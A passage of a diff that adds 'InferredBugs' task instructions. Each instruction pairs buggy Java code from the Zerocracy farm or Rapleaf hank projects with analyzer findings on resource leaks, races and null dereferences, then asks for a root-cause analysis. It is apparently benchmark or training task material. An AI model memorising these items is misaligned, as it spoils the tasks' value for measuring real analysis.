+com.zerocracy.tk.TkJoinPostTest.showsThatUserAlreadyHasMentor():void.08f1888a91af6352626fd5af3d7c4c4e
+
+### File:
+src/test/java/com/zerocracy/tk/TkJoinPostTest.java
+
+### Key:
+TkJoinPostTest.java|showsThatUserAlreadyHasMentor|RESOURCE_LEAK
+
+### Node Key:
+68aef4cd304c794365d810cb83ab70f0
+
+### Hash:
+4aae3367df42421802e3d03555c6303e
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3143/instruction.md b/inferredbugs-3143/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..48db90ad4ff6e94f398f8a0f55d4d881b3f75f9e
--- /dev/null
+++ b/inferredbugs-3143/instruction.md
@@ -0,0 +1,114 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** farm
+**Bug ID:** 125
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2016-2019 Zerocracy
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to read
+ * the Software only. Permissions is hereby NOT GRANTED to use, copy, modify,
+ * merge, publish, distribute, sublicense, and/or sell copies of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package com.zerocracy;
+
+import com.zerocracy.farm.props.PropsFarm;
+import org.hamcrest.MatcherAssert;
+import org.hamcrest.Matchers;
+import org.junit.Test;
+
+/**
+ * Test case for {@link Policy}.
+ * @since 1.0
+ * @checkstyle JavadocMethodCheck (500 lines)
+ * @checkstyle ClassDataAbstractionCouplingCheck (500 lines)
+ */
+public final class PolicyTest {
+
+    @Test
+    public void findsBasicNumbers() throws Exception {
+        MatcherAssert.assertThat(
+            new Policy(new PropsFarm(new FkFarm())).get("1.min-rep", "???"),
+            Matchers.startsWith("??")
+        );
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.zerocracy.FkFarm` acquired by call to `FkFarm()` at line 34 is not released after line 34.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void PolicyTest.findsBasicNumbers()
+
+### Procedure Id:
+com.zerocracy.PolicyTest.findsBasicNumbers():void.5dd7405a976c15a3f468e82b3bb1fc9f
+
+### File:
+src/test/java/com/zerocracy/PolicyTest.java
+
+### Key:
+PolicyTest.java|findsBasicNumbers|RESOURCE_LEAK
+
+### Node Key:
+d482535a9ff3d98d5cdf236a727eb800
+
+### Hash:
+967a4e930fd24353aaf1925b6b6fd9ce
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3144/instruction.md b/inferredbugs-3144/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f3f0bf93a1d483da19b5d3a5cbee98e9a198bd9b
--- /dev/null
+++ b/inferredbugs-3144/instruction.md
@@ -0,0 +1,134 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** farm
+**Bug ID:** 76
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2016-2018 Zerocracy
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to read
+ * the Software only. Permissions is hereby NOT GRANTED to use, copy, modify,
+ * merge, publish, distribute, sublicense, and/or sell copies of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package com.zerocracy.tk.project;
+
+import com.jcabi.matchers.XhtmlMatchers;
+import com.zerocracy.Farm;
+import com.zerocracy.farm.fake.FkFarm;
+import com.zerocracy.farm.props.PropsFarm;
+import com.zerocracy.tk.RqWithUser;
+import com.zerocracy.tk.TkApp;
+import org.hamcrest.MatcherAssert;
+import org.junit.Test;
+import org.takes.rq.RqFake;
+import org.takes.rs.RsPrint;
+
+/**
+ * Test case for {@link TkXml}.
+ * @since 1.0
+ * @checkstyle JavadocMethodCheck (500 lines)
+ * @checkstyle ClassDataAbstractionCouplingCheck (500 lines)
+ */
+public final class TkXmlTest {
+
+    @Test
+    public void rendersSingleArtifact() throws Exception {
+        final Farm farm = new PropsFarm(new FkFarm());
+        MatcherAssert.assertThat(
+            XhtmlMatchers.xhtml(
+                new RsPrint(
+                    new TkApp(farm).act(
+                        new RqWithUser(
+                            farm,
+                            new RqFake(
+                                "GET",
+                                "/xml/C00000000?file=roles.xml"
+                            )
+                        )
+                    )
+                ).printBody()
+            ),
+            XhtmlMatchers.hasXPaths("/roles")
+        );
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.zerocracy.farm.props.PropsFarm` acquired by call to `PropsFarm(...)` at line 40 is not released after line 41.
+**Note**: potential exception at line 41
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TkXmlTest.rendersSingleArtifact()
+
+### Procedure Id:
+com.zerocracy.tk.project.TkXmlTest.rendersSingleArtifact():void.ffbaa54699f42fc65ddcf281b5dc2913
+
+### File:
+src/test/java/com/zerocracy/tk/project/TkXmlTest.java
+
+### Key:
+TkXmlTest.java|rendersSingleArtifact|RESOURCE_LEAK
+
+### Node Key:
+852c88f9edf8a0d682b5467ac26ad847
+
+### Hash:
+38b8d590730404e113b1dfe472905c71
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3172/instruction.md b/inferredbugs-3172/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f679f66c2553c1e96c3209261c06ad1253c9a45f
--- /dev/null
+++ b/inferredbugs-3172/instruction.md
@@ -0,0 +1,330 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** hank
+**Bug ID:** 27
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ *  Copyright 2011 Rapleaf
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+
+package com.rapleaf.hank.client;
+
+import com.rapleaf.hank.coordinator.Host;
+import com.rapleaf.hank.coordinator.HostState;
+import com.rapleaf.hank.generated.HankBulkResponse;
+import com.rapleaf.hank.generated.HankResponse;
+import com.rapleaf.hank.generated.PartitionServer;
+import com.rapleaf.hank.zookeeper.WatchedNodeListener;
+import org.apache.log4j.Logger;
+import org.apache.thrift.TException;
+import org.apache.thrift.protocol.TCompactProtocol;
+import org.apache.thrift.protocol.TProtocol;
+import org.apache.thrift.transport.TFramedTransport;
+import org.apache.thrift.transport.TSocket;
+import org.apache.thrift.transport.TTransport;
+import org.apache.thrift.transport.TTransportException;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.ReentrantLock;
+
+public class HostConnection implements WatchedNodeListener<HostState> {
+
+  private static final Logger LOG = Logger.getLogger(HostConnection.class);
+
+  private final int tryLockTimeoutMs;
+  private final int establishConnectionTimeoutMs;
+  private final int queryTimeoutMs;
+  private final int bulkQueryTimeoutMs;
+  private TSocket socket;
+  private TTransport transport;
+  private PartitionServer.Client client;
+  private final Host host;
+  private final Object stateChangeMutex = new Object();
+  protected final ReentrantLock lock = new ReentrantLock(true); // Use a fair ReentrantLock
+  private HostConnectionState state = HostConnectionState.DISCONNECTED;
+
+  private static enum HostConnectionState {
+    CONNECTED,
+    DISCONNECTED,
+    // STANDBY: we are waiting for the host to be SERVING
+    STANDBY
+  }
+
+  // A timeout of 0 means no timeout
+  public HostConnection(Host host,
+                        int tryLockTimeoutMs,
+                        int establishConnectionTimeoutMs,
+                        int queryTimeoutMs,
+                        int bulkQueryTimeoutMs) throws TException, IOException {
+    this.host = host;
+    this.tryLockTimeoutMs = tryLockTimeoutMs;
+    this.establishConnectionTimeoutMs = establishConnectionTimeoutMs;
+    this.queryTimeoutMs = queryTimeoutMs;
+    this.bulkQueryTimeoutMs = bulkQueryTimeoutMs;
+    host.setStateChangeListener(this);
+    onWatchedNodeChange(host.getState());
+  }
+
+  Host getHost() {
+    return host;
+  }
+
+  boolean isAvailable() {
+    return state != HostConnectionState.STANDBY;
+  }
+
+  private boolean isDisconnected() {
+    return state == HostConnectionState.DISCONNECTED;
+  }
+
+  private void lock() {
+    lock.lock();
+  }
+
+  private void unlock() {
+    lock.unlock();
+  }
+
+  boolean tryLockRespectingFairness() {
+    try {
+      // Note: tryLock() does not respect fairness, using tryLock(0, unit) instead
+      return lock.tryLock(0, TimeUnit.MILLISECONDS);
+    } catch (InterruptedException e) {
+      return false;
+    }
+  }
+
+  private boolean tryLockWithTimeout() {
+    // If configured timeout is 0, wait indefinitely
+    if (tryLockTimeoutMs == 0) {
+      lock();
+      return true;
+    }
+    // Otherwise, perform a lock with timeout. If interrupted, simply report that we failed to lock.
+    try {
+      return lock.tryLock(tryLockTimeoutMs, TimeUnit.MILLISECONDS);
+    } catch (InterruptedException e) {
+      return false;
+    }
+  }
+
+  public HankResponse get(int domainId, ByteBuffer key) throws IOException {
+    // Lock the connection only if needed
+    if (!lock.isHeldByCurrentThread()) {
+      // Try to lock within a given timeframe
+      if (!tryLockWithTimeout()) {
+        throw new IOException("Exceeded timeout while trying to lock the host connection.");
+      }
+    }
+    try {
+      // Connect if necessary
+      if (isDisconnected()) {
+        connect();
+      }
+      // Check availability
+      if (!isAvailable()) {
+        throw new IOException("Connection to host is not available (host is not serving).");
+      }
+      // Query timeout is by default always set to regular mode
+      // Perform query
+      return client.get(domainId, key);
+    } catch (TException e) {
+      // Disconnect and give up
+      disconnect();
+      throw new IOException("Failed to execute get()", e);
+    } finally {
+      unlock();
+    }
+  }
+
+  public HankBulkResponse getBulk(int domainId, List<ByteBuffer> keys) throws IOException {
+    // Lock the connection only if needed
+    if (!lock.isHeldByCurrentThread()) {
+      // Try to lock within a given timeframe
+      if (!tryLockWithTimeout()) {
+        throw new IOException("Exceeded timeout while trying to lock the host connection.");
+      }
+    }
+    try {
+      // Connect if necessary
+      if (isDisconnected()) {
+        connect();
+      }
+      try {
+        // Check availability
+        if (!isAvailable()) {
+          throw new IOException("Connection to host is not available (host is not serving).");
+        }
+        // Set socket timeout to bulk mode
+        setSocketTimeout(bulkQueryTimeoutMs);
+        // Perform query
+        return client.getBulk(domainId, keys);
+      } finally {
+        // Set socket timeout back to regular mode
+        setSocketTimeout(queryTimeoutMs);
+      }
+    } catch (TException e) {
+      // Disconnect and give up
+      disconnect();
+      throw new IOException("Failed to execute getBulk()", e);
+    } finally {
+      unlock();
+    }
+  }
+
+  private void disconnect() {
+    if (transport != null) {
+      transport.close();
+    }
+    socket = null;
+    transport = null;
+    client = null;
+    state = HostConnectionState.DISCONNECTED;
+  }
+
+  private void connect() throws IOException {
+    if (LOG.isTraceEnabled()) {
+      LOG.trace("Trying to connect to " + host.getAddress());
+    }
+    // Use connection timeout to connect
+    socket = new TSocket(host.getAddress().getHostName(),
+        host.getAddress().getPortNumber(),
+        establishConnectionTimeoutMs);
+    transport = new TFramedTransport(socket);
+    try {
+      transport.open();
+      // Set socket timeout to regular mode
+      setSocketTimeout(queryTimeoutMs);
+    } catch (TTransportException e) {
+      LOG.error("Failed to establish connection to host " + host.getAddress(), e);
+      disconnect();
+      throw new IOException("Failed to establish connection to host " + host.getAddress(), e);
+    }
+    TProtocol proto = new TCompactProtocol(transport);
+    client = new PartitionServer.Client(proto);
+    if (LOG.isTraceEnabled()) {
+      LOG.trace("Connection to " + host.getAddress() + " opened.");
+    }
+    state = HostConnectionState.CONNECTED;
+  }
+
+  private void setSocketTimeout(int timeout) {
+    if (socket != null) {
+      socket.setTimeout(timeout);
+    }
+  }
+
+  @Override
+  public void onWatchedNodeChange(HostState hostState) {
+    synchronized (stateChangeMutex) {
+      if (hostState != null && hostState == HostState.SERVING) {
+        // Reconnect
+        lock();
+        try {
+          disconnect();
+          try {
+            connect();
+          } catch (IOException e) {
+            LOG.error("Error connecting to host " + host.getAddress(), e);
+          }
+        } finally {
+          unlock();
+        }
+      } else {
+        // Disconnect and standby
+        lock();
+        try {
+          disconnect();
+          state = HostConnectionState.STANDBY;
+        } finally {
+          unlock();
+        }
+      }
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.rapleaf.hank.client.HostConnection.isAvailable` reads without synchronization from `this.com.rapleaf.hank.client.HostConnection.state`. Potentially races with write in method `HostConnection.onWatchedNodeChange(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean HostConnection.isAvailable()
+
+### Procedure Id:
+com.rapleaf.hank.client.HostConnection.isAvailable():boolean.f5f18cbc2503094582c7c7a8af3500f5
+
+### File:
+src/java/com/rapleaf/hank/client/HostConnection.java
+
+### Key:
+HostConnection.java|isAvailable|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+def1356e03d0804fafafe7dd6fb410c1
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3175/instruction.md b/inferredbugs-3175/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1f26dcf0e3e5255cb4415e406165d084771284aa
--- /dev/null
+++ b/inferredbugs-3175/instruction.md
@@ -0,0 +1,179 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** hank
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.rapleaf.hank.partition_assigner;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Random;
+
+import com.rapleaf.hank.coordinator.Domain;
+import com.rapleaf.hank.coordinator.DomainGroup;
+import com.rapleaf.hank.coordinator.Host;
+import com.rapleaf.hank.coordinator.HostDomain;
+import com.rapleaf.hank.coordinator.HostDomainPartition;
+import com.rapleaf.hank.coordinator.Ring;
+import com.rapleaf.hank.coordinator.RingGroup;
+
+public class EqualSizePartitionAssigner implements PartitionAssigner {
+  private Ring ring;
+  private DomainGroup domainGroup;
+  private int domainId;
+  private int version;
+  private Random random;
+
+  public EqualSizePartitionAssigner() throws IOException {
+  }
+
+  @Override
+  public void assign(RingGroup ringGroup, int ringNum, Domain domain) throws IOException {
+    ring = ringGroup.getRing(ringNum);
+    domainGroup = ringGroup.getDomainGroup();
+    domainId = domainGroup.getDomainId(domain.getName());
+    version = domainGroup.getLatestVersion().getVersionNumber();
+    random = new Random();
+
+    // make random assignments for any of the currently unassigned parts
+    for (Integer partNum : ring.getUnassignedPartitions(domain)) {
+      getMinHostDomain().addPartition(partNum, version);
+    }
+
+    while (!assignmentsBalanced()) {
+      HostDomain maxHostDomain = getMaxHostDomain();
+      HostDomain minHostDomain = getMinHostDomain();
+
+      // pick a random partition from the maxHost
+      ArrayList<HostDomainPartition> partitions = new ArrayList<HostDomainPartition>();
+      partitions.addAll(maxHostDomain.getPartitions());
+      final HostDomainPartition toMove = partitions.get(random.nextInt(partitions.size()));
+
+      // assign it to the min host. note that we assign it before we unassign it
+      // to ensure that if we fail at this point, we haven't left any parts
+      // unassigned.
+      minHostDomain.addPartition(toMove.getPartNum(), version);
+
+      // unassign it from the max host
+      unassign(toMove);
+    }
+  }
+
+  private void unassign(HostDomainPartition partition) throws IOException {
+    // if the current version is null, then it means this assignment was never
+    // acted upon. in that case, just delete it.
+    if (partition.getCurrentDomainGroupVersion() == null) {
+      partition.delete();
+    } else {
+      // otherwise, mark it to be deleted during the next update.
+      partition.setDeletable(true);
+    }
+  }
+
+  private boolean assignmentsBalanced() throws IOException {
+    HostDomain maxHostDomain = getMaxHostDomain();
+    HostDomain minHostDomain = getMinHostDomain();
+    int maxDistance = Math.abs(maxHostDomain.getPartitions().size()
+        - minHostDomain.getPartitions().size());
+    return maxDistance <= 1;
+  }
+
+  private HostDomain getMinHostDomain() throws IOException {
+    HostDomain minHostDomain = null;
+    int minNumPartitions = Integer.MAX_VALUE;
+    for (Host host : ring.getHosts()) {
+      HostDomain hostDomain = host.getDomainById(domainId);
+      int numPartitions = hostDomain.getPartitions().size();
+      if (numPartitions < minNumPartitions) {
+        minHostDomain = hostDomain;
+        minNumPartitions = numPartitions;
+      }
+    }
+
+    return minHostDomain;
+  }
+
+  private HostDomain getMaxHostDomain() throws IOException {
+    HostDomain maxHostDomain = null;
+    int maxNumPartitions = Integer.MIN_VALUE;
+    for (Host host : ring.getHosts()) {
+      HostDomain hostDomain = host.getDomainById(domainId);
+      int numPartitions = hostDomain.getPartitions().size();
+      if (numPartitions > maxNumPartitions) {
+        maxHostDomain = hostDomain;
+        maxNumPartitions = numPartitions;
+      }
+    }
+
+    return maxHostDomain;
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getMinHostDomain(this)` could be null and is dereferenced at line 35.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void EqualSizePartitionAssigner.assign(RingGroup,int,Domain)
+
+### Procedure Id:
+com.rapleaf.hank.partition_assigner.EqualSizePartitionAssigner.assign(com.rapleaf.hank.coordinator.R.4130a896742638c4cd7da5e02c84e209
+
+### File:
+src/java/com/rapleaf/hank/partition_assigner/EqualSizePartitionAssigner.java
+
+### Key:
+EqualSizePartitionAssigner.java|assign|NULL_DEREFERENCE
+
+### Node Key:
+abc3426aee837315fb414f2c2675c8f8
+
+### Hash:
+950209e8a2913af485c22ccb35f2cc10
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3181/instruction.md b/inferredbugs-3181/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9e705865cf46fc5bd4d6acdf2d02ac80530741aa
--- /dev/null
+++ b/inferredbugs-3181/instruction.md
@@ -0,0 +1,185 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** hank
+**Bug ID:** 28
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ *  Copyright 2011 Rapleaf
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+package com.rapleaf.hank.storage.cueball;
+
+import com.rapleaf.hank.compress.CompressionCodec;
+
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.util.List;
+
+
+public final class CueballMerger implements ICueballMerger {
+
+  public void merge(final CueballFilePath base,
+                    final List<CueballFilePath> deltas,
+                    final String newBasePath,
+                    final int keyHashSize,
+                    final int valueSize,
+                    ValueTransformer transformer,
+                    int hashIndexBits,
+                    CompressionCodec compressionCodec) throws IOException {
+    // Array of stream buffers for the base and all deltas in order
+    CueballStreamBuffer[] cueballStreamBuffers = new CueballStreamBuffer[deltas.size() + 1];
+
+    // Open the current base
+    CueballStreamBuffer cueballBaseStreamBuffer = new CueballStreamBuffer(base.getPath(), 0,
+        keyHashSize, valueSize, hashIndexBits, compressionCodec);
+    cueballStreamBuffers[0] = cueballBaseStreamBuffer;
+
+    // Open all the deltas
+    int i = 1;
+    for (CueballFilePath delta : deltas) {
+      CueballStreamBuffer cueballStreamBuffer =
+          new CueballStreamBuffer(delta.getPath(), i, keyHashSize, valueSize, hashIndexBits, compressionCodec);
+      cueballStreamBuffers[i++] = cueballStreamBuffer;
+    }
+
+    // Output stream for the new base to be written. intentionally unbuffered, the writer below will do that on its own.
+    OutputStream newCueballBaseOutputStream = new FileOutputStream(newBasePath);
+
+    // Note that we intentionally omit the hasher here, since it will *not* be used
+    CueballWriter newCueballBaseWriter =
+        new CueballWriter(newCueballBaseOutputStream, keyHashSize, null, valueSize, compressionCodec, hashIndexBits);
+
+    while (true) {
+      // Find the stream buffer with the next smallest key hash
+      CueballStreamBuffer cueballStreamBufferToUse = null;
+      for (i = 0; i < cueballStreamBuffers.length; i++) {
+        if (cueballStreamBuffers[i].anyRemaining()) {
+          if (cueballStreamBufferToUse == null) {
+            cueballStreamBufferToUse = cueballStreamBuffers[i];
+          } else {
+            int comparison = cueballStreamBufferToUse.compareTo(cueballStreamBuffers[i]);
+            if (comparison == 0) {
+              // If two equal key hashes are found, use the most recent value (i.e. the one from the lastest delta)
+              // and skip (consume) the older ones
+              cueballStreamBufferToUse.consume();
+              cueballStreamBufferToUse = cueballStreamBuffers[i];
+            } else if (comparison == 1) {
+              // Found a stream buffer with a smaller key hash
+              cueballStreamBufferToUse = cueballStreamBuffers[i];
+            }
+          }
+        }
+      }
+
+      if (cueballStreamBufferToUse == null) {
+        // Nothing more to write
+        break;
+      }
+
+      // Transform if necessary
+      if (transformer != null) {
+        transformer.transform(cueballStreamBufferToUse.getBuffer(),
+            cueballStreamBufferToUse.getCurrentOffset() + keyHashSize,
+            cueballStreamBufferToUse.getIndex());
+      }
+
+      // Get next key hash and value
+      final ByteBuffer keyHash = ByteBuffer.wrap(cueballStreamBufferToUse.getBuffer(),
+          cueballStreamBufferToUse.getCurrentOffset(), keyHashSize);
+      final ByteBuffer valueBytes = ByteBuffer.wrap(cueballStreamBufferToUse.getBuffer(),
+          cueballStreamBufferToUse.getCurrentOffset() + keyHashSize, valueSize);
+
+      // Write next key hash and value
+      newCueballBaseWriter.writeHash(keyHash, valueBytes);
+      cueballStreamBufferToUse.consume();
+    }
+
+    // Close all buffers and the base writer
+    for (CueballStreamBuffer cueballStreamBuffer : cueballStreamBuffers) {
+      cueballStreamBuffer.close();
+    }
+    newCueballBaseWriter.close();
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileInputStream` acquired by call to `CueballStreamBuffer(...)` at line 41 is not released after line 102.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CueballMerger.merge(CueballFilePath,List,String,int,int,ValueTransformer,int,CompressionCodec)
+
+### Procedure Id:
+com.rapleaf.hank.storage.cueball.CueballMerger.merge(com.rapleaf.hank.storage.cueball.CueballFilePat.f50289f4ecf49c83da663db79fd5435b
+
+### File:
+src/java/com/rapleaf/hank/storage/cueball/CueballMerger.java
+
+### Key:
+CueballMerger.java|merge|RESOURCE_LEAK
+
+### Node Key:
+91b1a471bad6d415f3b26a8b42243b65
+
+### Hash:
+863d3ad5d4a172194e5d1f12738c56aa
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3186/instruction.md b/inferredbugs-3186/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2678ff9a121fca3fde40dd81602479f12f2c0f11
--- /dev/null
+++ b/inferredbugs-3186/instruction.md
@@ -0,0 +1,191 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** hank
+**Bug ID:** 26
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ *  Copyright 2011 Rapleaf
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+
+package com.rapleaf.hank.monitor.notifier;
+
+import com.rapleaf.hank.monitor.notification.NotificationFormatter;
+import org.apache.log4j.Logger;
+
+import java.io.IOException;
+import java.io.OutputStreamWriter;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+
+public class EmailSummaryNotifier implements Notifier {
+
+  private static final Logger LOG = Logger.getLogger(EmailSummaryNotifier.class);
+  private static final int EMAIL_SUMMARY_FREQUENCY = 60 * 1000; // 1 minute in ms
+
